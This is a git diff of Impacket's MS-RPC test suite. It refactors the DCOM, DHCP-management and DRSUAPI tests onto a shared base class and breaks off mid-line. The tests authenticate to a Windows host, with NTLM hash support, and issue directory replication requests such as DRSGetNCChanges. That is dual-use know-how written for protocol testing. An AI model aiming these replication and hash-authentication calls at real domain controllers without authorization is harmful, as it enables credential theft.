b/tests/dcerpc/test_dcomrt.py similarity index 59% rename from tests/SMB_RPC/test_dcomrt.py rename to tests/dcerpc/test_dcomrt.py index 745f9db8f2..eb397f1294 100644 --- a/tests/SMB_RPC/test_dcomrt.py +++ b/tests/dcerpc/test_dcomrt.py @@ -1,56 +1,43 @@ -############################################################################### -# Tested so far: +# Impacket - Collection of Python classes for working with network protocols. # -# Since DCOM is more high level, I'll always use the helper classes -# ServerAlive -# ServerAlive2 -# ComplexPing -# SimplePing -# RemoteCreateInstance -# ResolveOxid -# ResolveOxid2 -# RemoteActivation -# RemRelease -# RemoteGetClassObject +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. # -# Not yet: +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. # -# -# Shouldn't dump errors against a win7 +# Tested so far: +# Since DCOM is more high level, I'll always use the helper classes +# ServerAlive +# ServerAlive2 +# ComplexPing +# SimplePing +# RemoteCreateInstance +# ResolveOxid +# ResolveOxid2 +# RemoteActivation +# RemRelease +# RemoteGetClassObject # -################################################################################ - from __future__ import division from __future__ import print_function + +import pytest import unittest -try: - import ConfigParser -except ImportError: - import configparser as ConfigParser +from tests import RemoteTestCase +from tests.dcerpc import DCERPCTests -from impacket.dcerpc.v5 import transport +from impacket import ntlm +from impacket.uuid import string_to_bin, uuidtup_to_bin from impacket.dcerpc.v5 import dcomrt from impacket.dcerpc.v5.dcom import scmp, vds, oaut, comev -from impacket.uuid import string_to_bin, uuidtup_to_bin -from impacket import ntlm -class DCOMTests(unittest.TestCase): - def connect(self): - rpctransport = transport.DCERPCTransportFactory(self.stringBinding) - if len(self.hashes) > 0: - lmhash, nthash = self.hashes.split(':') - else: - lmhash = '' - nthash = '' - if hasattr(rpctransport, 'set_credentials'): - # This method exists only for selected protocol sequences. - rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) - dce = rpctransport.get_dce_rpc() - dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY) - dce.connect() +class DCOMTests(DCERPCTests): - return dce, rpctransport + string_binding = r"ncacn_ip_tcp:{0.machine}" + authn = True + authn_level = ntlm.NTLM_AUTH_PKT_INTEGRITY def test_ServerAlive(self): dce, rpctransport = self.connect() @@ -77,8 +64,6 @@ def test_ResolveOxid(self): def test_ResolveOxid2(self): dce, rpctransport = self.connect() - #scm = dcomrt.IRemoteSCMActivator(dce) - #iInterface = scm.RemoteCreateInstance(comev.CLSID_EventSystem, comev.IID_IEventSystem) scm = dcomrt.IActivation(dce) iInterface = scm.RemoteActivation(comev.CLSID_EventSystem, comev.IID_IEventSystem) objExporter = dcomrt.IObjectExporter(dce) @@ -91,67 +76,54 @@ def test_RemoteActivation(self): def test_RemoteGetClassObject(self): dce, rpctransport = self.connect() - IID_IClassFactory = uuidtup_to_bin(('00000001-0000-0000-C000-000000000046','0.0')) + IID_IClassFactory = uuidtup_to_bin(('00000001-0000-0000-C000-000000000046', '0.0')) scm = dcomrt.IRemoteSCMActivator(dce) iInterface = scm.RemoteGetClassObject(comev.CLSID_EventSystem, IID_IClassFactory) iInterface.RemRelease() - - def test_RemQueryInterface(self): - dcom = dcomrt.DCOMConnection(self.machine, self.username, self.password, self.domain) - iInterface = dcom.CoCreateInstanceEx(comev.CLSID_EventSystem, comev.IID_IEventSystem) - iEventSystem = comev.IEventSystem(iInterface) - iEventSystem.RemQueryInterface(1, (comev.IID_IEventSystem,)) - dcom.disconnect() - - def test_RemRelease(self): - dcom = dcomrt.DCOMConnection(self.machine, self.username, self.password, self.domain) - iInterface = dcom.CoCreateInstanceEx(comev.CLSID_EventSystem, comev.IID_IEventSystem) - iEventSystem = comev.IEventSystem(iInterface) - iEventSystem.RemRelease() - dcom.disconnect() - def test_RemoteCreateInstance(self): dce, rpctransport = self.connect() scm = dcomrt.IRemoteSCMActivator(dce) scm.RemoteCreateInstance(comev.CLSID_EventSystem, comev.IID_IEventSystem) - def tes_scmp(self): + @pytest.mark.skip + def test_scmp(self): dce, rpctransport = self.connect() scm = dcomrt.IRemoteSCMActivator(dce) iInterface = scm.RemoteCreateInstance(scmp.CLSID_ShadowCopyProvider, scmp.IID_IVssSnapshotMgmt) iVssSnapshotMgmt = scmp.IVssSnapshotMgmt(iInterface) - #iVssSnapshotMgmt.RemRelease() - - iVssEnumMgmtObject = iVssSnapshotMgmt.QueryVolumesSupportedForSnapshots(scmp.IID_ShadowCopyProvider, 31) + # iVssSnapshotMgmt.RemRelease() + + iVssEnumMgmtObject = iVssSnapshotMgmt.QueryVolumesSupportedForSnapshots(scmp.IID_ShadowCopyProvider, 31) iVssEnumMgmtObject.Next(10) - #iVssEnumObject = iVssSnapshotMgmt.QuerySnapshotsByVolume('C:\x00') + # iVssEnumObject = iVssSnapshotMgmt.QuerySnapshotsByVolume('C:\x00') + + # iProviderMgmtInterface = iVssSnapshotMgmt.GetProviderMgmtInterface() + # enumObject =iProviderMgmtInterface.QueryDiffAreasOnVolume('C:\x00') + # iVssSnapshotMgmt.RemQueryInterface(1, (scmp.IID_IVssEnumMgmtObject,)) + # iVssSnapshotMgmt.RemAddRef() + # iVssSnapshotMgmt = dcom.hRemoteCreateInstance(dce, scmp.CLSID_ShadowCopyProvider, dcom.IID_IRemUnknown) - #iProviderMgmtInterface = iVssSnapshotMgmt.GetProviderMgmtInterface() - #enumObject =iProviderMgmtInterface.QueryDiffAreasOnVolume('C:\x00') - #iVssSnapshotMgmt.RemQueryInterface(1, (scmp.IID_IVssEnumMgmtObject,)) - #iVssSnapshotMgmt.RemAddRef() - #iVssSnapshotMgmt = dcom.hRemoteCreateInstance(dce, scmp.CLSID_ShadowCopyProvider, dcom.IID_IRemUnknown) - - #iVssEnumMgmtObject.RemQueryInterface(1, (scmp.IID_IVssEnumMgmtObject,)) + # iVssEnumMgmtObject.RemQueryInterface(1, (scmp.IID_IVssEnumMgmtObject,)) - def tes_vds(self): + @pytest.mark.skip + def test_vds(self): dce, rpctransport = self.connect() - #objExporter = dcom.IObjectExporter(dce) - #objExporter.ComplexPing() - #objExporter.ComplexPing() + # objExporter = dcom.IObjectExporter(dce) + # objExporter.ComplexPing() + # objExporter.ComplexPing() scm = dcomrt.IRemoteSCMActivator(dce) iInterface = scm.RemoteCreateInstance(vds.CLSID_VirtualDiskService, vds.IID_IVdsServiceInitialization) serviceInitialization = vds.IVdsServiceInitialization(iInterface) serviceInitialization.Initialize() - + iInterface = serviceInitialization.RemQueryInterface(1, (vds.IID_IVdsService,)) vdsService = vds.IVdsService(iInterface) - + resp = vdsService.IsServiceReady() while resp['ErrorCode'] == 1: print("Waiting.. ") @@ -166,7 +138,8 @@ def tes_vds(self): resp = provider.GetProperties() resp.dump() - def tes_oaut(self): + @pytest.mark.skip + def test_oaut(self): dce, rpctransport = self.connect() IID_IDispatch = string_to_bin('00020400-0000-0000-C000-000000000046') scm = dcomrt.IRemoteSCMActivator(dce) @@ -177,21 +150,64 @@ def tes_oaut(self): iTypeInfo = iDispatch.GetTypeInfo() iTypeInfo.GetTypeAttr() - def tes_comev(self): - if len(self.hashes) > 0: - lmhash, nthash = self.hashes.split(':') - else: - lmhash = '' - nthash = '' + @pytest.mark.skip + def test_ie(self): + dce, rpctransport = self.connect() + scm = dcomrt.IRemoteSCMActivator(dce) - dcom = dcomrt.DCOMConnection(self.machine, self.username, self.password, self.domain, lmhash, nthash) + #iInterface = scm.RemoteCreateInstance(string_to_bin('0002DF01-0000-0000-C000-000000000046'), ie.IID_WebBrowser) + iInterface = scm.RemoteCreateInstance(string_to_bin('72C24DD5-D70A-438B-8A42-98424B88AFB8'), dcomrt.IID_IRemUnknown) + + #iDispatch = ie.IWebBrowser(iInterface) + #resp = iDispatch.GetIDsOfNames(('Navigate',)) + #print(resp) + + #iTypeInfo = iDispatch.GetTypeInfo() + #resp = iTypeInfo.GetTypeAttr() + #resp.dump() + #for i in range(0,resp['ppTypeAttr']['cFuncs']): + #resp = iTypeInfo.GetFuncDesc(i) + #resp.dump() + #resp2 = iTypeInfo.GetNames(resp['ppFuncDesc']['memid']) + #print resp2['rgBstrNames'][0]['asData'] + #resp = iTypeInfo.GetDocumentation(resp['ppFuncDesc']['memid']) + #print(resp['pBstrName']['asData']) + #iEventSystem.get_EventObjectChangeEventClassID() + #print("ACA") + #iTypeInfo.RemRelease() + #iDispatch.RemRelease() + + +@pytest.mark.remote +class DCOMConnectionTests(RemoteTestCase, unittest.TestCase): + + def setUp(self): + self.set_transport_config() + + def test_RemQueryInterface(self): + dcom = dcomrt.DCOMConnection(self.machine, self.username, self.password, self.domain) + iInterface = dcom.CoCreateInstanceEx(comev.CLSID_EventSystem, comev.IID_IEventSystem) + iEventSystem = comev.IEventSystem(iInterface) + iEventSystem.RemQueryInterface(1, (comev.IID_IEventSystem,)) + dcom.disconnect() + + def test_RemRelease(self): + dcom = dcomrt.DCOMConnection(self.machine, self.username, self.password, self.domain) + iInterface = dcom.CoCreateInstanceEx(comev.CLSID_EventSystem, comev.IID_IEventSystem) + iEventSystem = comev.IEventSystem(iInterface) + iEventSystem.RemRelease() + dcom.disconnect() + + @pytest.mark.skip + def test_comev(self): + dcom = dcomrt.DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = dcom.CoCreateInstanceEx(comev.CLSID_EventSystem, comev.IID_IEventSystem) #scm = dcomrt.IRemoteSCMActivator(dce) #iInterface = scm.RemoteCreateInstance(comev.CLSID_EventSystem, comev.IID_IEventSystem) #iInterface = scm.RemoteCreateInstance(comev.CLSID_EventSystem,oaut.IID_IDispatch) - iDispatch = oaut.IDispatch(iInterface) + iDispatch = oaut.IDispatch(iInterface) # noqa #scm = dcomrt.IRemoteSCMActivator(dce) #resp = iDispatch.GetIDsOfNames(('Navigate\x00', 'ExecWB\x00')) #resp.dump() @@ -237,7 +253,6 @@ def tes_comev(self): #es.get_InterfaceID() es.RemRelease() - objCollection = iEventSystem.Query('EventSystem.EventClassCollection', 'ALL') objCollection.get_Count() @@ -272,70 +287,16 @@ def tes_comev(self): #eventSubscription.get_SubscriptionID() - # def tes_ie(self): - # dce, rpctransport = self.connect() - # scm = dcomrt.IRemoteSCMActivator(dce) - # - # #iInterface = scm.RemoteCreateInstance(string_to_bin('0002DF01-0000-0000-C000-000000000046'),ie.IID_WebBrowser) - # iInterface = scm.RemoteCreateInstance(string_to_bin('72C24DD5-D70A-438B-8A42-98424B88AFB8'),dcomrt.IID_IRemUnknown) - # - # iDispatch = ie.IWebBrowser(iInterface) - # resp = iDispatch.GetIDsOfNames(('Navigate',)) - # print resp - # #sys.exit(1) - # iTypeInfo = iDispatch.GetTypeInfo() - # resp = iTypeInfo.GetTypeAttr() - # #resp.dump() - # for i in range(0,resp['ppTypeAttr']['cFuncs']): - # resp = iTypeInfo.GetFuncDesc(i) - # #resp.dump() - # #resp2 = iTypeInfo.GetNames(resp['ppFuncDesc']['memid']) - # #print resp2['rgBstrNames'][0]['asData'] - # resp = iTypeInfo.GetDocumentation(resp['ppFuncDesc']['memid']) - # print resp['pBstrName']['asData'] - # #iEventSystem.get_EventObjectChangeEventClassID() - # print "ACA" - # iTypeInfo.RemRelease() - # iDispatch.RemRelease() - # - # sys.exit(1) - -class TCPTransport(DCOMTests): - def setUp(self): - DCOMTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('TCPTransport', 'username') - self.domain = configFile.get('TCPTransport', 'domain') - self.serverName = configFile.get('TCPTransport', 'servername') - self.password = configFile.get('TCPTransport', 'password') - self.machine = configFile.get('TCPTransport', 'machine') - self.hashes = configFile.get('TCPTransport', 'hashes') - self.stringBinding = r'ncacn_ip_tcp:%s' % self.machine - self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') - -class TCPTransport64(DCOMTests): - def setUp(self): - DCOMTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('TCPTransport', 'username') - self.domain = configFile.get('TCPTransport', 'domain') - self.serverName = configFile.get('TCPTransport', 'servername') - self.password = configFile.get('TCPTransport', 'password') - self.machine = configFile.get('TCPTransport', 'machine') - self.hashes = configFile.get('TCPTransport', 'hashes') - self.stringBinding = r'ncacn_ip_tcp:%s' % self.machine - self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') +@pytest.mark.remote +class DCOMTestsTCPTransport(DCOMTests, unittest.TestCase): + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR + + +@pytest.mark.remote +class DCOMTestsTCPTransport(DCOMTests, unittest.TestCase): + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 # Process command-line arguments. -if __name__ == '__main__': - import sys - if len(sys.argv) > 1: - testcase = sys.argv[1] - suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase]) - else: - suite = unittest.TestLoader().loadTestsFromTestCase(TCPTransport) - suite.addTests(unittest.TestLoader().loadTestsFromTestCase(TCPTransport64)) - unittest.TextTestRunner(verbosity=1).run(suite) +if __name__ == "__main__": + unittest.main(verbosity=1) diff --git a/tests/dcerpc/test_dhcpm.py b/tests/dcerpc/test_dhcpm.py new file mode 100755 index 0000000000..92f88dc2be --- /dev/null +++ b/tests/dcerpc/test_dhcpm.py @@ -0,0 +1,145 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Tested so far: +# (h)DhcpGetClientInfoV4 +# DhcpV4GetClientInfo +# hDhcpEnumSubnetClientsV5 +# hDhcpGetOptionValueV5 +# Not yet: +# DhcpGetSubnetInfo +# DhcpEnumSubnets +# DhcpGetOptionValue +# DhcpEnumOptionValues +# DhcpGetOptionValueV5 +# DhcpEnumOptionValuesV5 +# DhcpGetAllOptionValues +# DhcpEnumSubnetClientsV4 +# DhcpEnumSubnetElementsV5 +# DhcpEnumSubnetClientsVQ +# +from __future__ import division +from __future__ import print_function + +import socket +import struct +import pytest +import unittest +from six import assertRaisesRegex + +from tests.dcerpc import DCERPCTests + +from impacket.dcerpc.v5 import dhcpm +from impacket.dcerpc.v5.dtypes import NULL +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException + + +class DHCPMTests(DCERPCTests): + iface_uuid_v1 = dhcpm.MSRPC_UUID_DHCPSRV + iface_uuid_v2 = dhcpm.MSRPC_UUID_DHCPSRV2 + string_binding = r"ncacn_np:{0.machine}[\PIPE\dhcpserver]" + authn = True + authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY + + def test_DhcpGetClientInfoV4(self): + dce, rpctransport = self.connect(iface_uuid=self.iface_uuid_v1) + request = dhcpm.DhcpGetClientInfoV4() + request['ServerIpAddress'] = NULL + + request['SearchInfo']['SearchType'] = dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientIpAddress + request['SearchInfo']['SearchInfo']['tag'] = dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientIpAddress + ip = struct.unpack("!I", socket.inet_aton(self.machine))[0] + request['SearchInfo']['SearchInfo']['ClientIpAddress'] = ip + + request.dump() + with assertRaisesRegex(self, DCERPCException, "ERROR_DHCP_JET_ERROR"): + dce.request(request) + + def test_hDhcpGetClientInfoV4(self): + dce, rpctransport = self.connect(iface_uuid=self.iface_uuid_v1) + + ip = struct.unpack("!I", socket.inet_aton(self.machine))[0] + with assertRaisesRegex(self, DCERPCException, "ERROR_DHCP_JET_ERROR"): + dhcpm.hDhcpGetClientInfoV4(dce, dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientIpAddress, ip) + + with assertRaisesRegex(self, DCERPCException, "0x4e2d"): + dhcpm.hDhcpGetClientInfoV4(dce, dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientName, 'PEPA\x00') + + def test_DhcpV4GetClientInfo(self): + dce, rpctransport = self.connect(iface_uuid=self.iface_uuid_v2) + request = dhcpm.DhcpV4GetClientInfo() + request['ServerIpAddress'] = NULL + request['SearchInfo']['SearchType'] = dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientIpAddress + request['SearchInfo']['SearchInfo']['tag'] = dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientIpAddress + ip = struct.unpack("!I", socket.inet_aton(self.machine))[0] + request['SearchInfo']['SearchInfo']['ClientIpAddress'] = ip + + #request['SearchInfo']['SearchType'] = 2 + #request['SearchInfo']['SearchInfo']['tag'] = 2 + #ip = netaddr.IPAddress('172.16.123.10') + #request['SearchInfo']['SearchInfo']['ClientName'] = 'PEPONA\0' + request.dump() + + # For now we'e failing. This is not supported in W2k8r2 + with assertRaisesRegex(self, DCERPCException, "nca_s_op_rng_error"): + dce.request(request) + + def test_hDhcpEnumSubnetClientsV5(self): + dce, rpctransport = self.connect(iface_uuid=self.iface_uuid_v2) + + with assertRaisesRegex(self, DCERPCException, "ERROR_NO_MORE_ITEMS"): + dhcpm.hDhcpEnumSubnetClientsV5(dce) + + def test_hDhcpGetOptionValueV5(self): + dce, rpctransport = self.connect(iface_uuid=self.iface_uuid_v2) + netId = self.machine.split('.')[:-1] + netId.append('0') + subnet_id = struct.unpack("!I", socket.inet_aton('.'.join(netId)))[0] + + with assertRaisesRegex(self, DCERPCException, "ERROR_DHCP_SUBNET_NOT_PRESENT"): + dhcpm.hDhcpGetOptionValueV5(dce, 3, + dhcpm.DHCP_FLAGS_OPTION_DEFAULT, NULL, NULL, + dhcpm.DHCP_OPTION_SCOPE_TYPE.DhcpSubnetOptions, + subnet_id) + + +@pytest.mark.remote +@pytest.mark.skip(reason="Disabled in Windows Server 2008 onwards") +class DHCPMTestsSMBTransport(DHCPMTests, unittest.TestCase): + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR + + +@pytest.mark.remote +@pytest.mark.skip(reason="Disabled in Windows Server 2008 onwards") +class DHCPMTestsSMBTransport64(DHCPMTests, unittest.TestCase): + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 + + +@pytest.mark.remote +class DHCPMTestsTCPTransport(DHCPMTests, unittest.TestCase): + protocol = "ncacn_ip_tcp" + iface_uuid = dhcpm.MSRPC_UUID_DHCPSRV2 + string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR + + +@pytest.mark.remote +class DHCPMTestsTCPTransport64(DHCPMTests, unittest.TestCase): + protocol = "ncacn_ip_tcp" + iface_uuid = dhcpm.MSRPC_UUID_DHCPSRV2 + string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 + + @pytest.mark.xfail(reason="NDRUNION without fields as in DhcpSubnetOptions is not implemented with NDR64") + def test_hDhcpGetOptionValueV5(self): + super(DHCPMTestsTCPTransport64, self).test_hDhcpGetOptionValueV5() + + +# Process command-line arguments. +if __name__ == "__main__": + unittest.main(verbosity=1) diff --git a/tests/SMB_RPC/test_drsuapi.py b/tests/dcerpc/test_drsuapi.py similarity index 70% rename from tests/SMB_RPC/test_drsuapi.py rename to tests/dcerpc/test_drsuapi.py index 5c5d1d47e8..f1d67b5f13 100644 --- a/tests/SMB_RPC/test_drsuapi.py +++ b/tests/dcerpc/test_drsuapi.py @@ -1,51 +1,39 @@ -############################################################################### -# Tested so far: +# Impacket - Collection of Python classes for working with network protocols. # -# DRSBind -# DRSDomainControllerInfo -# hDRSDomainControllerInfo -# DRSCrackNames -# hDRSCrackNames -# DRSGetNT4ChangeLog -# DRSVerifyName +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. # -# Not yet: +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. # -# Shouldn't dump errors against a win7 +# Tested so far: +# DRSBind +# (h)DRSDomainControllerInfo +# (h)DRSCrackNames +# DRSGetNT4ChangeLog +# DRSVerifyName +# DRSGetNCChanges +# Not yet: +# DRSUnBind # -################################################################################ - from __future__ import division from __future__ import print_function +import pytest import unittest -try: - import ConfigParser -except ImportError: - import configparser as ConfigParser +from tests.dcerpc import DCERPCTests -from impacket.dcerpc.v5 import transport, epm from impacket.dcerpc.v5 import drsuapi from impacket.dcerpc.v5.dtypes import NULL, LPWSTR -from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY - - -class DRSRTests(unittest.TestCase): - def connect(self): - rpctransport = transport.DCERPCTransportFactory(self.stringBinding ) - if len(self.hashes) > 0: - lmhash, nthash = self.hashes.split(':') - else: - lmhash = '' - nthash = '' - if hasattr(rpctransport, 'set_credentials'): - # This method exists only for selected protocol sequences. - rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) - dce = rpctransport.get_dce_rpc() - dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) - dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) - dce.connect() - dce.bind(drsuapi.MSRPC_UUID_DRSUAPI, transfer_syntax = self.ts) +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY + +class DRSRTests(DCERPCTests): + iface_uuid = drsuapi.MSRPC_UUID_DRSUAPI + authn = True + authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY + string_binding = r"ncacn_np:{0.machine}[\PIPE\lsass]" + + def bind(self, dce): request = drsuapi.DRSBind() request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID drs = drsuapi.DRS_EXTENSIONS_INT() @@ -78,29 +66,10 @@ def connect(self): resp = dce.request(request) resp2 = drsuapi.hDRSDomainControllerInfo(dce, resp['phDrs'], self.domain, 2) - - return dce, rpctransport, resp['phDrs'], resp2['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid'] - - def connect2(self): - rpctransport = transport.DCERPCTransportFactory(self.stringBinding ) - if len(self.hashes) > 0: - lmhash, nthash = self.hashes.split(':') - else: - lmhash = '' - nthash = '' - if hasattr(rpctransport, 'set_credentials'): - # This method exists only for selected protocol sequences. - rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) - dce = rpctransport.get_dce_rpc() - dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) - #dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) - dce.connect() - dce.bind(drsuapi.MSRPC_UUID_DRSUAPI, transfer_syntax = self.ts) - - return dce, rpctransport + return resp['phDrs'], resp2['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid'] def test_DRSBind(self): - dce, rpctransport, _,_ = self.connect() + dce, rpc_transport = self.connect() request = drsuapi.DRSBind() request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID @@ -122,7 +91,8 @@ def test_DRSBind(self): extension.dump() def test_DRSDomainControllerInfo(self): - dce, rpctransport, hDrs, DsaObjDest = self.connect() + dce, rpc_transport = self.connect() + hDrs, DsaObjDest = self.bind(dce) request = drsuapi.DRSDomainControllerInfo() request['hDrs'] = hDrs @@ -148,7 +118,8 @@ def test_DRSDomainControllerInfo(self): resp.dump() def test_hDRSDomainControllerInfo(self): - dce, rpctransport, hDrs, DsaObjDest = self.connect() + dce, rpc_transport = self.connect() + hDrs, DsaObjDest = self.bind(dce) resp = drsuapi.hDRSDomainControllerInfo(dce, hDrs, self.domain, 1) resp.dump() @@ -163,7 +134,8 @@ def test_hDRSDomainControllerInfo(self): resp.dump() def test_DRSCrackNames(self): - dce, rpctransport, hDrs, DsaObjDest = self.connect() + dce, rpc_transport = self.connect() + hDrs, DsaObjDest = self.bind(dce) request = drsuapi.DRSCrackNames() request['hDrs'] = hDrs @@ -187,7 +159,8 @@ def test_DRSCrackNames(self): resp.dump() def test_hDRSCrackNames(self): - dce, rpctransport, hDrs, DsaObjDest = self.connect() + dce, rpc_transport = self.connect() + hDrs, DsaObjDest = self.bind(dce) name = 'Administrator' formatOffered = drsuapi.DS_NT4_ACCOUNT_NAME_SANS_DOMAIN @@ -210,7 +183,8 @@ def test_hDRSCrackNames(self): resp.dump() def test_DRSGetNT4ChangeLog(self): - dce, rpctransport, hDrs, DsaObjDest = self.connect() + dce, rpc_transport = self.connect() + hDrs, DsaObjDest = self.bind(dce) request = drsuapi.DRSGetNT4ChangeLog() request['hDrs'] = hDrs @@ -230,9 +204,10 @@ def test_DRSGetNT4ChangeLog(self): raise def test_DRSVerifyNames(self): - dce, rpctransport, hDrs, DsaObjDest = self.connect() - request = drsuapi.DRSVerifyNames() + dce, rpc_transport = self.connect() + hDrs, DsaObjDest = self.bind(dce) + request = drsuapi.DRSVerifyNames() request['hDrs'] = hDrs request['dwInVersion'] = 1 @@ -245,7 +220,7 @@ def test_DRSVerifyNames(self): dsName['SidLen'] = 0 dsName['Guid'] = drsuapi.NULLGUID dsName['Sid'] = '' - name = 'DC=%s,DC=%s' % (self.domain.split('.')[0],self.domain.split('.')[1]) + name = 'DC=%s,DC=%s' % (self.domain.split('.')[0], self.domain.split('.')[1]) dsName['NameLen'] = len(name) dsName['StringName'] = (name + '\x00') @@ -256,9 +231,10 @@ def test_DRSVerifyNames(self): resp = dce.request(request) resp.dump() + @pytest.mark.xfail def test_DRSGetNCChanges(self): - # Not yet working - dce, rpctransport, hDrs, DsaObjDest = self.connect() + dce, rpc_transport = self.connect() + hDrs, DsaObjDest = self.bind(dce) request = drsuapi.DRSGetNCChanges() request['hDrs'] = hDrs @@ -273,7 +249,7 @@ def test_DRSGetNCChanges(self): dsName['SidLen'] = 0 dsName['Guid'] = drsuapi.NULLGUID dsName['Sid'] = '' - name = 'DC=%s,DC=%s' % (self.domain.split('.')[0],self.domain.split('.')[1]) + name = 'DC=%s,DC=%s' % (self.domain.split('.')[0], self.domain.split('.')[1]) dsName['NameLen'] = len(name) dsName['StringName'] = (name + '\x00') @@ -354,10 +330,10 @@ def getMoreData(self, dce, request, resp): resp.dump() print('\n') - + @pytest.mark.xfail def test_DRSGetNCChanges2(self): - # Not yet working - dce, rpctransport, hDrs, DsaObjDest = self.connect() + dce, rpc_transport = self.connect() + hDrs, DsaObjDest = self.bind(dce) request = drsuapi.DRSGetNCChanges() request['hDrs'] = hDrs @@ -373,7 +349,7 @@ def test_DRSGetNCChanges2(self): dsName['Guid'] = drsuapi.NULLGUID dsName['Sid'] = '' - name = 'CN=Schema,CN=Configuration,DC=%s,DC=%s' % (self.domain.split('.')[0],self.domain.split('.')[1]) + name = 'CN=Schema,CN=Configuration,DC=%s,DC=%s' % (self.domain.split('.')[0], self.domain.split('.')[1]) dsName['NameLen'] = len(name) dsName['StringName'] = (name + '\x00') @@ -405,7 +381,7 @@ def test_DRSGetNCChanges2(self): dsName['Guid'] = drsuapi.NULLGUID dsName['Sid'] = '' - name = 'DC=%s,DC=%s' % (self.domain.split('.')[0],self.domain.split('.')[1]) + name = 'DC=%s,DC=%s' % (self.domain.split('.')[0], self.domain.split('.')[1]) dsName['NameLen'] = len(name) dsName['StringName'] = (name + '\x00') @@ -455,73 +431,30 @@ def test_DRSGetNCChanges2(self): # resp = dce.request(request) -class SMBTransport(DRSRTests): - def setUp(self): - DRSRTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.stringBinding = r'ncacn_np:%s[\PIPE\lsass]' % self.machine - self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') - -class SMBTransport64(DRSRTests): - def setUp(self): - DRSRTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - - self.stringBinding = r'ncacn_np:%s[\PIPE\lsass]' % self.machine - self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') - -class TCPTransport(DRSRTests): - def setUp(self): - DRSRTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('TCPTransport', 'username') - self.domain = configFile.get('TCPTransport', 'domain') - self.serverName = configFile.get('TCPTransport', 'servername') - self.password = configFile.get('TCPTransport', 'password') - self.machine = configFile.get('TCPTransport', 'machine') - self.hashes = configFile.get('TCPTransport', 'hashes') - self.stringBinding = epm.hept_map(self.machine, drsuapi.MSRPC_UUID_DRSUAPI, protocol = 'ncacn_ip_tcp') - self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') - -class TCPTransport64(DRSRTests): - def setUp(self): - DRSRTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('TCPTransport', 'username') - self.domain = configFile.get('TCPTransport', 'domain') - self.serverName = configFile.get('TCPTransport', 'servername') - self.password = configFile.get('TCPTransport', 'password') - self.machine = configFile.get('TCPTransport', 'machine') - self.hashes = configFile.get('TCPTransport', 'hashes') - self.stringBinding = epm.hept_map(self.machine, drsuapi.MSRPC_UUID_DRSUAPI, protocol = 'ncacn_ip_tcp') - self.ts = 